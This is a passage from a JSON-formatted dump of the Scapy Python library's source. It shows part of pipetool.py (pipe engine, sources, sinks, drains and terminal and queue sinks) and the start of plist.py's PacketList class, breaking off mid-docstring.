STOP_IF_EXHAUSTED or len(sources) > 1):\n                fds = select_objects(sources, 0.5)\n                for fd in fds:\n                    if fd is self:\n                        cmd = self._read_cmd()\n                        if cmd == \"X\":\n                            RUN = False\n                            break\n                        elif cmd == \"B\":\n                            STOP_IF_EXHAUSTED = True\n                        elif cmd == \"A\":\n                            sources = self.active_sources - exhausted\n                            sources.add(self)\n                        else:\n                            warning(\"Unknown internal pipe engine command: %r.\"\n                                    \" Ignoring.\", cmd)\n                    elif fd in sources:\n                        try:\n                            fd.deliver()\n                        except Exception as e:\n                            log_runtime.exception(\"piping from %s failed: %s\",\n                                                  fd.name, e)\n                        else:\n                            if fd.exhausted():\n                                exhausted.add(fd)\n                                sources.remove(fd)\n        except KeyboardInterrupt:\n            pass\n        finally:\n            try:\n                for p in self.active_pipes:\n                    p.stop()\n            finally:\n                self.thread_lock.release()\n                log_runtime.debug(\"Pipe engine thread stopped.\")\n\n    def start(self):\n        # type: () -> None\n        if self.thread_lock.acquire(False):\n            _t = Thread(target=self.run, name=\"scapy.pipetool.PipeEngine\")\n            _t.daemon = True\n            _t.start()\n            self.thread = _t\n        else:\n            log_runtime.debug(\"Pipe engine already running\")\n\n    def wait_and_stop(self):\n        # type: () -> None\n        self.stop(_cmd=\"B\")\n\n    def stop(self, _cmd=\"X\"):\n        # type: (str) -> None\n        try:\n            with self.command_lock:\n                if self.thread is not None:\n                    self._write_cmd(_cmd)\n                    self.thread.join()\n                    try:\n                        self.thread_lock.release()\n                    except Exception:\n                        pass\n                else:\n                    log_runtime.debug(\"Pipe engine thread not running\")\n        except KeyboardInterrupt:\n            print(\"Interrupted by user.\")\n\n    def add(self, *pipes):\n        # type: (*Pipe) -> None\n        _pipes = self._add_pipes(*pipes)\n        with self.command_lock:\n            if self.thread is not None:\n                for p in _pipes:\n                    p.start()\n                self._write_cmd(\"A\")\n\n    def graph(self, **kargs):\n        # type: (Any) -> None\n        g = ['digraph \"pipe\" {', \"\\tnode [shape=rectangle];\", ]\n        for p in self.active_pipes:\n            g.append('\\t\"%i\" [label=\"%s\"];' % (id(p), p.name))\n        g.append(\"\")\n        g.append(\"\\tedge [color=blue, arrowhead=vee];\")\n        for p in self.active_pipes:\n            for s in p.sinks:\n                g.append('\\t\"%i\" -> \"%i\";' % (id(p), id(s)))\n        g.append(\"\")\n        g.append(\"\\tedge [color=purple, arrowhead=veevee];\")\n        for p in self.active_pipes:\n            for hs in p.high_sinks:\n                g.append('\\t\"%i\" -> \"%i\";' % (id(p), id(hs)))\n        g.append(\"\")\n        g.append(\"\\tedge [color=red, arrowhead=diamond];\")\n        for p in self.active_pipes:\n            for ts in p.trigger_sinks:\n                g.append('\\t\"%i\" -> \"%i\";' % (id(p), id(ts)))\n        g.append('}')\n        graph = \"\\n\".join(g)\n        do_graph(graph, **kargs)\n\n\nclass _PipeMeta(type):\n    def __new__(cls,\n                name,  # type: str\n                bases,  # type: Tuple[type, ...]\n                dct  # type: Dict[str, Any]\n                ):\n        # type: (...) -> Type[Pipe]\n        c = cast('Type[Pipe]',\n                 super(_PipeMeta, cls).__new__(cls, name, bases, dct))\n        PipeEngine.pipes[name] = c\n        return c\n\n\n_S = TypeVar(\"_S\", bound=\"Sink\")\n_TS = TypeVar(\"_TS\", bound=\"TriggerSink\")\n\n\nclass Pipe(metaclass=_PipeMeta):\n    def __init__(self, name=None):\n        # type: (Optional[str]) -> None\n        self.sources = set()  # type: Set['Pipe']\n        self.sinks = set()  # type: Set['Sink']\n        self.high_sources = set()  # type: Set['Pipe']\n        self.high_sinks = set()  # type: Set['Sink']\n        self.trigger_sources = set()  # type: Set['Pipe']\n        self.trigger_sinks = set()  # type: Set['TriggerSink']\n        if name is None:\n            name = \"%s\" % (self.__class__.__name__)\n        self.name = name\n\n    def _send(self, msg):\n        # type: (Any) -> None\n        for s in self.sinks:\n            s.push(msg)\n\n    def _high_send(self, msg):\n        # type: (Any) -> None\n        for s in self.high_sinks:\n            s.high_push(msg)\n\n    def _trigger(self, msg=None):\n        # type: (Any) -> None\n        for s in self.trigger_sinks:\n            s.on_trigger(msg)\n\n    def __gt__(self, other):\n        # type: (_S) -> _S\n        self.sinks.add(other)\n        other.sources.add(self)\n        return other\n\n    def __rshift__(self, other):\n        # type: (_S) -> _S\n        self.high_sinks.add(other)\n        other.high_sources.add(self)\n        return other\n\n    def __xor__(self, other):\n        # type: (_TS) -> _TS\n        self.trigger_sinks.add(other)\n        other.trigger_sources.add(self)\n        return other\n\n    def __hash__(self):\n        # type: () -> int\n        return object.__hash__(self)\n\n    def __eq__(self, other):\n        # type: (Any) -> bool\n        return object.__eq__(self, other)\n\n    def __repr__(self):\n        # type: () -> str\n        ct = conf.color_theme\n        s = \"%s%s\" % (ct.punct(\"<\"), ct.layer_name(self.name))\n        if self.sources or self.sinks:\n            s += \" %s\" % ct.punct(\"[\")\n            if self.sources:\n                s += \"%s%s\" % (ct.punct(\",\").join(ct.field_name(s.name) for s in self.sources),  # noqa: E501\n                               ct.field_value(\">\"))\n            s += ct.layer_name(\"#\")\n            if self.sinks:\n                s += \"%s%s\" % (ct.field_value(\">\"),\n                               ct.punct(\",\").join(ct.field_name(s.name) for s in self.sinks))  # noqa: E501\n            s += ct.punct(\"]\")\n\n        if self.high_sources or self.high_sinks:\n            s += \" %s\" % ct.punct(\"[\")\n            if self.high_sources:\n                s += \"%s%s\" % (ct.punct(\",\").join(ct.field_name(s.name) for s in self.high_sources),  # noqa: E501\n                               ct.field_value(\">>\"))\n            s += ct.layer_name(\"#\")\n            if self.high_sinks:\n                s += \"%s%s\" % (ct.field_value(\">>\"),\n                               ct.punct(\",\").join(ct.field_name(s.name) for s in self.high_sinks))  # noqa: E501\n            s += ct.punct(\"]\")\n\n        if self.trigger_sources or self.trigger_sinks:\n            s += \" %s\" % ct.punct(\"[\")\n            if self.trigger_sources:\n                s += \"%s%s\" % (ct.punct(\",\").join(ct.field_name(s.name) for s in self.trigger_sources),  # noqa: E501\n                               ct.field_value(\"^\"))\n            s += ct.layer_name(\"#\")\n            if self.trigger_sinks:\n                s += \"%s%s\" % (ct.field_value(\"^\"),\n                               ct.punct(\",\").join(ct.field_name(s.name) for s in self.trigger_sinks))  # noqa: E501\n            s += ct.punct(\"]\")\n\n        s += ct.punct(\">\")\n        return s\n\n    def start(self):\n        # type: () -> None\n        pass\n\n    def stop(self):\n        # type: () -> None\n        pass\n\n\nclass Source(Pipe, ObjectPipe[Any]):\n    def __init__(self, name=None):\n        # type: (Optional[str]) -> None\n        ObjectPipe.__init__(self, name)\n        Pipe.__init__(self, name=name)\n        self.is_exhausted = False\n\n    def _read_message(self):\n        # type: () -> Message\n        return Message()\n\n    def deliver(self):\n        # type: () -> None\n        msg = self._read_message\n        self._send(msg)\n\n    def exhausted(self):\n        # type: () -> bool\n        return self.is_exhausted\n\n\nclass Drain(Pipe):\n    \"\"\"Repeat messages from low/high entries to (resp.) low/high exits\n\n    .. code::\n\n         +-------+\n      >>-|-------|->>\n         |       |\n       >-|-------|->\n         +-------+\n    \"\"\"\n\n    def push(self, msg):\n        # type: (Any) -> None\n        self._send(msg)\n\n    def high_push(self, msg):\n        # type: (Any) -> None\n        self._high_send(msg)\n\n\nclass Sink(Pipe):\n    \"\"\"\n    Does nothing; interface to extend for custom sinks.\n\n    All sinks have the following constructor parameters:\n\n    :param name: a human-readable name for the element\n    :type name: str\n    \"\"\"\n    def push(self, msg):\n        # type: (Any) -> None\n        \"\"\"\n        Called by :py:class:`PipeEngine` when there is a new message for the\n        low entry.\n\n        :param msg: The message data\n        :returns: None\n        :rtype: None\n        \"\"\"\n        pass\n\n    def high_push(self, msg):\n        # type: (Any) -> None\n        \"\"\"\n        Called by :py:class:`PipeEngine` when there is a new message for the\n        high entry.\n\n        :param msg: The message data\n        :returns: None\n        :rtype: None\n        \"\"\"\n        pass\n\n    def __lt__(self, other):\n        # type: (_S) -> _S\n        other.sinks.add(self)\n        self.sources.add(other)\n        return other\n\n    def __lshift__(self, other):\n        # type: (_S) -> _S\n        self.high_sources.add(other)\n        other.high_sinks.add(self)\n        return other\n\n    def __floordiv__(self, other):\n        # type: (_S) -> _S\n        self >> other\n        other >> self\n        return other\n\n    def __mod__(self, other):\n        # type: (_S) -> _S\n        self > other\n        other > self\n        return other\n\n\nclass TriggerSink(Sink):\n    def on_trigger(self, msg):\n        # type: (Any) -> None\n        pass\n\n\nclass AutoSource(Source):\n    def __init__(self, name=None):\n        # type: (Optional[str]) -> None\n        Source.__init__(self, name=name)\n\n    def _gen_data(self, msg):\n        # type: (str) -> None\n        ObjectPipe.send(self, (msg, False, False))\n\n    def _gen_high_data(self, msg):\n        # type: (str) -> None\n        ObjectPipe.send(self, (msg, True, False))\n\n    def _exhaust(self):\n        # type: () -> None\n        ObjectPipe.send(self, (None, None, True))\n\n    def deliver(self):\n        # type: () -> None\n        msg, high, exhaust = self.recv()  # type: ignore\n        if exhaust:\n            pass\n        if high:\n            self._high_send(msg)\n        else:\n            self._send(msg)\n\n\nclass ThreadGenSource(AutoSource):\n    def __init__(self, name=None):\n        # type: (Optional[str]) -> None\n        AutoSource.__init__(self, name=name)\n        self.RUN = False\n\n    def generate(self):\n        # type: () -> None\n        pass\n\n    def start(self):\n        # type: () -> None\n        self.RUN = True\n        Thread(target=self.generate,\n               name=\"scapy.pipetool.ThreadGenSource\").start()\n\n    def stop(self):\n        # type: () -> None\n        self.RUN = False\n\n\nclass ConsoleSink(Sink):\n    \"\"\"Print messages on low and high entries to ``stdout``\n\n    .. code::\n\n         +-------+\n      >>-|--.    |->>\n         | print |\n       >-|--'    |->\n         +-------+\n    \"\"\"\n\n    def push(self, msg):\n        # type: (str) -> None\n        print(\">\" + repr(msg))\n\n    def high_push(self, msg):\n        # type: (str) -> None\n        print(\">>\" + repr(msg))\n\n\nclass RawConsoleSink(Sink):\n    \"\"\"Print messages on low and high entries, using os.write\n\n    .. code::\n\n         +-------+\n      >>-|--.    |->>\n         | write |\n       >-|--'    |->\n         +-------+\n\n    :param newlines: Include a new-line character after printing each packet.\n                     Defaults to True.\n    :type newlines: bool\n    \"\"\"\n\n    def __init__(self, name=None, newlines=True):\n        # type: (Optional[str], bool) -> None\n        Sink.__init__(self, name=name)\n        self.newlines = newlines\n        self._write_pipe = 1\n\n    def push(self, msg):\n        # type: (str) -> None\n        if self.newlines:\n            msg += \"\\n\"\n        os.write(self._write_pipe, msg.encode(\"utf8\"))\n\n    def high_push(self, msg):\n        # type: (str) -> None\n        if self.newlines:\n            msg += \"\\n\"\n        os.write(self._write_pipe, msg.encode(\"utf8\"))\n\n\nclass CLIFeeder(AutoSource):\n    \"\"\"Send messages from python command line:\n\n    .. code::\n\n         +--------+\n      >>-|        |->>\n         | send() |\n       >-|   `----|->\n         +--------+\n    \"\"\"\n\n    def send(self, msg):\n        # type: (str) -> int\n        self._gen_data(msg)\n        return 1\n\n    def close(self):\n        # type: () -> None\n        self.is_exhausted = True\n\n\nclass CLIHighFeeder(CLIFeeder):\n    \"\"\"Send messages from python command line to high output:\n\n    .. code::\n\n         +--------+\n      >>-|   .----|->>\n         | send() |\n       >-|        |->\n         +--------+\n    \"\"\"\n\n    def send(self, msg):\n        # type: (Any) -> int\n        self._gen_high_data(msg)\n        return 1\n\n\nclass PeriodicSource(ThreadGenSource):\n    \"\"\"Generate messages periodically on low exit:\n\n    .. code::\n\n         +-------+\n      >>-|       |->>\n         | msg,T |\n       >-|  `----|->\n         +-------+\n    \"\"\"\n\n    def __init__(self, msg, period, period2=0, name=None):\n        # type: (Union[Iterable[Any], Any], int, int, Optional[str]) -> None\n        ThreadGenSource.__init__(self, name=name)\n        if not isinstance(msg, (list, set, tuple)):\n            self.msg = [msg]  # type: Iterable[Any]\n        else:\n            self.msg = msg\n        self.period = period\n        self.period2 = period2\n\n    def generate(self):\n        # type: () -> None\n        while self.RUN:\n            empty_gen = True\n            for m in self.msg:\n                empty_gen = False\n                self._gen_data(m)\n                time.sleep(self.period)\n            if empty_gen:\n                self.is_exhausted = True\n                self._exhaust()\n            time.sleep(self.period2)\n\n\nclass TermSink(Sink):\n    \"\"\"\n    Prints messages on the low and high entries, on a separate terminal (xterm\n    or cmd).\n\n    .. code::\n\n         +-------+\n      >>-|--.    |->>\n         | print |\n       >-|--'    |->\n         +-------+\n\n    :param keepterm: Leave the terminal window open after :py:meth:`~Pipe.stop`\n                     is called. Defaults to True.\n    :type keepterm: bool\n    :param newlines: Include a new-line character after printing each packet.\n                     Defaults to True.\n    :type newlines: bool\n    :param openearly: Automatically starts the terminal when the constructor is\n                      called, rather than waiting for :py:meth:`~Pipe.start`.\n                      Defaults to True.\n    :type openearly: bool\n    \"\"\"\n\n    def __init__(self, name=None, keepterm=True, newlines=True,\n                 openearly=True):\n        # type: (Optional[str], bool, bool, bool) -> None\n        Sink.__init__(self, name=name)\n        self.keepterm = keepterm\n        self.newlines = newlines\n        self.openearly = openearly\n        self.opened = False\n        if self.openearly:\n            self.start()\n\n    if WINDOWS:\n        def _start_windows(self):\n            # type: () -> None\n            if not self.opened:\n                self.opened = True\n                self.__f = get_temp_file()\n                open(self.__f, \"a\").close()\n                self.name = \"Scapy\" if self.name is None else self.name\n                # Start a powershell in a new window and print the PID\n                cmd = \"$app = Start-Process PowerShell -ArgumentList '-command &{$host.ui.RawUI.WindowTitle=\\\\\\\"%s\\\\\\\";Get-Content \\\\\\\"%s\\\\\\\" -wait}' -passthru; echo $app.Id\" % (self.name, self.__f.replace(\"\\\\\", \"\\\\\\\\\"))  # noqa: E501\n                proc = subprocess.Popen(\n                    [\n                        getattr(conf.prog, \"powershell\"),\n                        cmd\n                    ],\n                    stdout=subprocess.PIPE\n                )\n                output, _ = proc.communicate()\n                # This is the process PID\n                self.pid = int(output)\n                print(\"PID: %d\" % self.pid)\n\n        def _stop_windows(self):\n            # type: () -> None\n            if not self.keepterm:\n                self.opened = False\n                # Recipe to kill process with PID\n                # http://code.activestate.com/recipes/347462-terminating-a-subprocess-on-windows/\n                import ctypes\n                PROCESS_TERMINATE = 1\n                handle = ctypes.windll.kernel32.OpenProcess(PROCESS_TERMINATE, False, self.pid)  # noqa: E501\n                ctypes.windll.kernel32.TerminateProcess(handle, -1)\n                ctypes.windll.kernel32.CloseHandle(handle)\n    else:\n        def _start_unix(self):\n            # type: () -> None\n            if not self.opened:\n                self.opened = True\n                rdesc, self.wdesc = os.pipe()\n                os.set_inheritable(rdesc, True)\n                cmd = [\"xterm\"]\n                if self.name is not None:\n                    cmd.extend([\"-title\", self.name])\n                if self.keepterm:\n                    cmd.append(\"-hold\")\n                cmd.extend([\"-e\", \"cat <&%d\" % rdesc])\n                self.proc = subprocess.Popen(cmd, close_fds=False)\n                os.close(rdesc)\n\n        def _stop_unix(self):\n            # type: () -> None\n            if not self.keepterm:\n                self.opened = False\n                self.proc.kill()\n                self.proc.wait()\n\n    def start(self):\n        # type: () -> None\n        if WINDOWS:\n            return self._start_windows()\n        else:\n            return self._start_unix()\n\n    def stop(self):\n        # type: () -> None\n        if WINDOWS:\n            return self._stop_windows()\n        else:\n            return self._stop_unix()\n\n    def _print(self, s):\n        # type: (str) -> None\n        if self.newlines:\n            s += \"\\n\"\n        if WINDOWS:\n            wdesc = open(self.__f, \"a\")\n            wdesc.write(s)\n            wdesc.close()\n        else:\n            os.write(self.wdesc, s.encode())\n\n    def push(self, msg):\n        # type: (str) -> None\n        self._print(str(msg))\n\n    def high_push(self, msg):\n        # type: (str) -> None\n        self._print(str(msg))\n\n\nclass QueueSink(Sink):\n    \"\"\"\n    Collects messages on the low and high entries into a :py:class:`Queue`.\n    Messages are dequeued with :py:meth:`recv`.\n    Both high and low entries share the same :py:class:`Queue`.\n\n    .. code::\n\n         +-------+\n      >>-|--.    |->>\n         | queue |\n       >-|--'    |->\n         +-------+\n    \"\"\"\n\n    def __init__(self, name=None):\n        # type: (Optional[str]) -> None\n        Sink.__init__(self, name=name)\n        self.q: queue.Queue[Any] = queue.Queue()\n\n    def push(self, msg):\n        # type: (Any) -> None\n        self.q.put(msg)\n\n    def high_push(self, msg):\n        # type: (Any) -> None\n        self.q.put(msg)\n\n    def recv(self, block=True, timeout=None):\n        # type: (bool, Optional[int]) -> Optional[Any]\n        \"\"\"\n        Reads the next message from the queue.\n\n        If no message is available in the queue, returns None.\n\n        :param block: Blocks execution until a packet is available in the\n                      queue. Defaults to True.\n        :type block: bool\n        :param timeout: Controls how long to wait if ``block=True``. If None\n                        (the default), this method will wait forever. If a\n                        non-negative number, this is a number of seconds to\n                        wait before giving up (and returning None).\n        :type timeout: None, int or float\n        \"\"\"\n        try:\n            return self.q.get(block=block, timeout=timeout)\n        except queue.Empty:\n            return None\n\n\nclass TransformDrain(Drain):\n    \"\"\"Apply a function to messages on low and high entry:\n\n    .. code::\n\n         +-------+\n      >>-|--[f]--|->>\n         |       |\n       >-|--[f]--|->\n         +-------+\n    \"\"\"\n\n    def __init__(self, f, name=None):\n        # type: (Callable[[Any], None], Optional[str]) -> None\n        Drain.__init__(self, name=name)\n        self.f = f\n\n    def push(self, msg):\n        # type: (Any) -> None\n        self._send(self.f(msg))\n\n    def high_push(self, msg):\n        # type: (Any) -> None\n        self._high_send(self.f(msg))\n\n\nclass UpDrain(Drain):\n    \"\"\"Repeat messages from low entry to high exit:\n\n    .. code::\n\n         +-------+\n      >>-|    ,--|->>\n         |   /   |\n       >-|--'    |->\n         +-------+\n    \"\"\"\n\n    def push(self, msg):\n        # type: (Any) -> None\n        self._high_send(msg)\n\n    def high_push(self, msg):\n        # type: (Any) -> None\n        pass\n\n\nclass DownDrain(Drain):\n    r\"\"\"Repeat messages from high entry to low exit:\n\n    .. code::\n\n         +-------+\n      >>-|--.    |->>\n         |   \\   |\n       >-|    `--|->\n         +-------+\n    \"\"\"\n\n    def push(self, msg):\n        # type: (Any) -> None\n        pass\n\n    def high_push(self, msg):\n        # type: (Any) -> None\n        self._send(msg)\n"
  },
  {
    "path": "scapy/plist.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nPacketList: holds several packets and allows to do operations on them.\n\"\"\"\n\n\nimport os\nfrom collections import defaultdict\nfrom typing import Sequence, NamedTuple\n\nfrom scapy.config import conf\nfrom scapy.base_classes import (\n    BasePacket,\n    BasePacketList,\n    PacketList_metaclass,\n    SetGen,\n    _CanvasDumpExtended,\n)\nfrom scapy.utils import do_graph, hexdump, make_table, make_lined_table, \\\n    make_tex_table, issubtype\nfrom functools import reduce\n\n# typings\nfrom typing import (\n    Any,\n    Callable,\n    DefaultDict,\n    Dict,\n    Generic,\n    Iterator,\n    List,\n    Optional,\n    Tuple,\n    Type,\n    TypeVar,\n    Union,\n    TYPE_CHECKING,\n)\nfrom scapy.packet import Packet\n\ntry:\n    import pyx\nexcept ImportError:\n    pass\n\nif TYPE_CHECKING:\n    from scapy.libs.matplot import Line2D\n\n#############\n#  Results  #\n#############\n\n\nQueryAnswer = NamedTuple(\n    \"QueryAnswer\",\n    [(\"query\", Packet), (\"answer\", Packet)]\n)\n\n_Inner = TypeVar(\"_Inner\", Packet, QueryAnswer)\n\n\nclass _PacketList(Generic[_Inner], metaclass=PacketList_metaclass):\n    __slots__ = [\"stats\", \"res\", \"listname\"]\n\n    def __init__(self,\n                 res=None,  # type: Optional[Union[_PacketList[_Inner], List[_Inner]]]  # noqa: E501\n                 name=\"PacketList\",  # type: str\n                 stats=None  # type: Optional[List[Type[Packet]]]\n                 ):\n        # type: (...) -> None\n        \"\"\"create a packet list from a list of packets\n           res: the list of packets\n           stats: a list of classes that will appear in the stats (defaults to [TCP,UDP,ICMP])\"\"\"  # noqa: E501\n        if stats is None:\n            stats = conf.stats_classic_protocols\n        self.stats = stats\n        if res is None:\n            self.res = []  # type: List[_Inner]\n        elif isinstance(res, _PacketList):\n            self.res = res.res\n        else:\n            self.res = res\n        self.listname = name\n\n    def __len__(self):\n        # type: () -> int\n        return len(self.res)\n\n    def _elt2pkt(self, elt):\n        # type: (_Inner) -> Packet\n        return elt  # type: ignore\n\n    def _elt2sum(self, elt):\n        # type: (_Inner) -> str\n        return elt.summary()  # type: ignore\n\n    def _elt2show(self, elt):\n        # type: (_Inner) -> str\n        return self._elt2sum(elt)\n\n    def __repr__(self):\n        # type: () -> str\n        stats = {x: 0 for x in self.stats}\n        other = 0\n        for r in self.res:\n            f = 0\n            for p in stats:\n                if self._elt2pkt(r).haslayer(p):\n                    stats[p] += 1\n                    f = 1\n                    break\n            if not f:\n                other += 1\n        s = \"\"\n        ct = conf.color_theme\n        for p in self.stats:\n            s += \" %s%s%s\" % (ct.packetlist_proto(p._name),\n                              ct.punct(\":\"),\n                              ct.packetlist_value(stats[p]))\n        s += \" %s%s%s\" % (ct.packetlist_proto(\"Other\"),\n                          ct.punct(\":\"),\n                          ct.packetlist_value(other))\n        return \"%s%s%s%s%s\" % (ct.punct(\"<\"),\n                               ct.packetlist_name(self.listname),\n                               ct.punct(\":\"),\n                               s,\n                               ct.punct(\">\"))\n\n    def __getstate__(self):\n        # type: () -> Dict[str, Any]\n        \"\"\"\n        Creates a basic representation of the instance, used in\n        conjunction with __setstate__() e.g. by pickle\n\n        :returns: dict representing this instance\n        \"\"\"\n        state = {\n            'res': self.res,\n            'stats': self.stats,\n            'listname': self.listname\n        }\n        return state\n\n    def __setstate__(self, state):\n        # type: (Dict[str, Any]) -> None\n        \"\"\"\n        Sets instance attributes to values given by state, used in\n        conjunction with __getstate__() e.g. by pickle\n\n        :param state: dict representing this instance\n        \"\"\"\n        self.res = state['res']\n        self.stats = state['stats']\n        self.listname = state['listname']\n\n    def __iter__(self):\n        # type: () -> Iterator[_Inner]\n        return self.res.__iter__()\n\n    def __getattr__(self, attr):\n        # type: (str) -> Any\n        return getattr(self.res, attr)\n\n    def __getitem__(self, item):\n        # type: (Any) -> Any\n        if issubtype(item, BasePacket):\n            return self.__class__([x for x in self.res if item in self._elt2pkt(x)],  # noqa: E501\n                                  name=\"%s from %s\" % (item.__name__, self.listname))  # noqa: E501\n        if isinstance(item, slice):\n            return self.__class__(self.res.__getitem__(item),\n                                  name=\"mod %s\" % self.listname)\n        return self.res.__getitem__(item)\n\n    _T = TypeVar('_T', 'SndRcvList', 'PacketList')\n\n    # Hinting hack: type self\n    def __add__(self,  # type: _PacketList._T  # type: ignore\n                other  # type: _PacketList._T\n                ):\n        # type: (...) -> _PacketList._T\n        return self.__class__(\n            self.res + other.res,\n            name=\"%s+%s\" % (\n                self.listname,\n                other.listname\n            )\n        )\n\n    def summary(self,\n                prn=None,  # type: Optional[Callable[..., Any]]\n                lfilter=None  # type: Optional[Callable[..., bool]]\n                ):\n        # type: (...) -> None\n        \"\"\"prints a summary of each packet\n\n        :param prn: function to apply to each packet instead of\n                    lambda x:x.summary()\n        :param lfilter: truth function to apply to each packet to decide\n                        whether it will be displayed\n        \"\"\"\n        for r in self.res:\n            if lfilter is not None:\n                if not lfilter(*r):\n                    continue\n            if prn is None:\n                print(self._elt2sum(r))\n            else:\n                print(prn(*r))\n\n    def nsummary(self,\n                 prn=None,  # type: Optional[Callable[..., Any]]\n                 lfilter=None  # type: Optional[Callable[..., bool]]\n                 ):\n        # type: (...) -> None\n        \"\"\"prints a summary of each packet with the packet's number\n\n        :param prn: function to apply to each packet instead of\n                    lambda x:x.summary()\n        :param lfilter: truth function to apply to each packet to decide\n                        whether it will be displayed\n        \"\"\"\n        for i, res in enumerate(self.res):\n            if lfilter is not None:\n                if not lfilter(*res):\n                    continue\n            print(conf.color_theme.id(i, fmt=\"%04i\"), end=' ')\n            if prn is None:\n                print(self._elt2sum(res))\n            else:\n                print(prn(*res))\n\n    def show(self, *args, **kargs):\n        # type: (*Any, **Any) -> None\n        \"\"\"Best way to display the packet list. Defaults to nsummary() method\"\"\"  # noqa: E501\n        return self.nsummary(*args, **kargs)\n\n    def filter(self, func):\n        # type: (Callable[..., bool]) -> _PacketList[_Inner]\n        \"\"\"Returns a packet list filtered by a truth function. This truth\n        function has to take a packet as the only argument and return\n        a boolean value.\n        \"\"\"\n        return self.__class__([x for x in self.res if func(*x)],\n                              name=\"filtered %s\" % self.listname)\n\n    def make_table(self, *args, **kargs):\n        # type: (Any, Any) -> Optional[str]\n        \"\"\"Prints a table using a function that returns for each packet its head column value, head row value and displayed value  # noqa: E501\n        ex: p.make_table(lambda x:(x[IP].dst, x[TCP].dport, x[TCP].sprintf(\"%flags%\")) \"\"\"  # noqa: E501\n        return make_table(self.res, *args, **kargs)\n\n    def make_lined_table(self, *args, **kargs):\n        # type: (Any, Any) -> Optional[str]\n        \"\"\"Same as make_table, but print a table with lines\"\"\"\n        return make_lined_table(self.res, *args, **kargs)\n\n    def make_tex_table(self, *args, **kargs):\n        # type: (Any, Any) -> Optional[str]\n        \"\"\"Same as make_table, but print a table with LaTeX syntax\"\"\"\n        return make_tex_table(self.res, *args, **kargs)\n\n    def plot(self,\n             f,  # type: Callable[..., Any]\n             lfilter=None,  # type: Optional[Callable[..., bool]]\n             plot_xy=False,  # type: bool\n             **kargs  # type: Any\n             ):\n        # type: (...) -> Line2D\n        \"\"\"Applies a function to each packet to get a value that will be plotted\n        with matplotlib. A list of matplotlib.lines.Line2D is returned.\n\n        lfilter: a truth function that decides whether a packet must be plotted\n        \"\"\"\n        # Defer imports of matplotlib until its needed\n        # because it has a heavy dep chain\n        from scapy.libs.matplot import (\n            plt,\n            MATPLOTLIB_INLINED,\n            MATPLOTLIB_DEFAULT_PLOT_KARGS\n        )\n\n        # Get the list of packets\n        if lfilter is None:\n            lst_pkts = [f(*e) for e in self.res]\n        else:\n            lst_pkts = [f(*e) for e in self.res if lfilter(*e)]\n\n        # Mimic the default gnuplot output\n        if kargs == {}:\n            kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS\n        if plot_xy:\n            lines = plt.plot(*zip(*lst_pkts), **kargs)\n        else:\n            lines = plt.plot(lst_pkts, **kargs)\n\n        # Call show() if matplotlib is not inlined\n        if not MATPLOTLIB_INLINED:\n            plt.show()\n\n        return lines\n\n    def diffplot(self,\n                 f,  # type: Callable[..., Any]\n                 delay=1,  # type: int\n                 lfilter=None,  # type: Optional[Callable[..., bool]]\n                 **kargs  # type: Any\n                 ):\n        # type: (...) -> Line2D\n        \"\"\"diffplot(f, delay=1, lfilter=None)\n        Applies a function to couples (l[i],l[i+delay])\n\n        A list of matplotlib.lines.Line2D is returned.\n        \"\"\"\n        # Defer imports of matplotlib until its needed\n        # because it has a heavy dep chain\n        from scapy.libs.matplot import (\n            plt,\n            MATPLOTLIB_INLINED,\n            MATPLOTLIB_DEFAULT_PLOT_KARGS\n        )\n\n        # Get the list of packets\n        if lfilter is None:\n            lst_pkts = [f(self.res[i], self.res[i + 1])\n                        for i in range(len(self.res) - delay)]\n        else:\n            lst_pkts = [f(self.res[i], self.res[i + 1])\n                        for i in range(len(self.res) - delay)\n                        if lfilter(self.res[i])]\n\n        # Mimic the default gnuplot output\n        if kargs == {}:\n            kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS\n        lines = plt.plot(lst_pkts, **kargs)\n\n        # Call show() if matplotlib is not inlined\n        if not MATPLOTLIB_INLINED:\n            plt.show()\n\n        return lines\n\n    def multiplot(self,\n                  f,  # type: Callable[..., Any]\n                  lfilter=None,  # type: Optional[Callable[..., Any]]\n                  plot_xy=False,  # type: bool\n                  **kargs  # type: Any\n                  ):\n        # type: (...) -> Line2D\n        \"\"\"Uses a function that returns a label and a value for this label, then\n        plots all the values label by label.\n\n        A list of matplotlib.lines.Line2D is returned.\n        \"\"\"\n        # Defer imports of matplotlib until its needed\n        # because it has a heavy dep chain\n        from scapy.libs.matplot import (\n            plt,\n            MATPLOTLIB_INLINED,\n            MATPLOTLIB_DEFAULT_PLOT_KARGS\n        )\n\n        # Get the list of packets\n        if lfilter is None:\n            lst_pkts = (f(*e) for e in self.res)\n        else:\n            lst_pkts = (f(*e) for e in self.res if lfilter(*e))\n\n        # Apply the function f to the packets\n        d = {}  # type: Dict[str, List[float]]\n        for k, v in lst_pkts:\n            d.setdefault(k, []).append(v)\n\n        # Mimic the default gnuplot output\n        if not kargs:\n            kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS\n\n        if plot_xy:\n            lines = [plt.plot(*list(zip(*pl)), **dict(kargs, label=k))\n                     for k, pl in d.items()]\n        else:\n            lines = [plt.plot(pl, **dict(kargs, label=k))\n                     for k, pl in d.items()]\n        plt.legend(loc=\"center right\", bbox_to_anchor=(1.5, 0.5))\n\n        # Call show() if matplotlib is not inlined\n        if not MATPLOTLIB_INLINED:\n            plt.show()\n\n        return lines\n\n    def rawhexdump(self):\n        # type: () -> None\n        \"\"\"Prints an hexadecimal dump of each packet in the list\"\"\"\n        for p in self:\n            hexdump(self._elt2pkt(p))\n\n    def hexraw(self, lfilter=None):\n        # type: (Optional[Callable[..., bool]]) -> None\n        \"\"\"Same as nsummary(), except that if a packet has a Raw layer, it will be hexdumped  # noqa: E501\n        lfilter: a truth function that decides whether a packet must be displayed\"\"\"  # noqa: E501\n        for i, res in enumerate(self.res):\n            p = self._elt2pkt(res)\n            if lfilter is not None and not lfilter(p):\n                continue\n            print(\"%s %s %s\" % (conf.color_theme.id(i, fmt=\"%04i\"),\n                                p.sprintf(\"%.time%\"),\n                                self._elt2sum(res)))\n            if p.haslayer(conf.raw_layer):\n                hexdump(p.getlayer(conf.raw_layer).load)  # type: ignore\n\n    def hexdump(self, lfilter=None):\n        # type: (Optional[Callable[..., bool]]) -> None\n        \"\"\"Same as nsummary(), except that packets are also hexdumped\n        lfilter: a truth function that decides whether a packet must be displayed\"\"\"  # 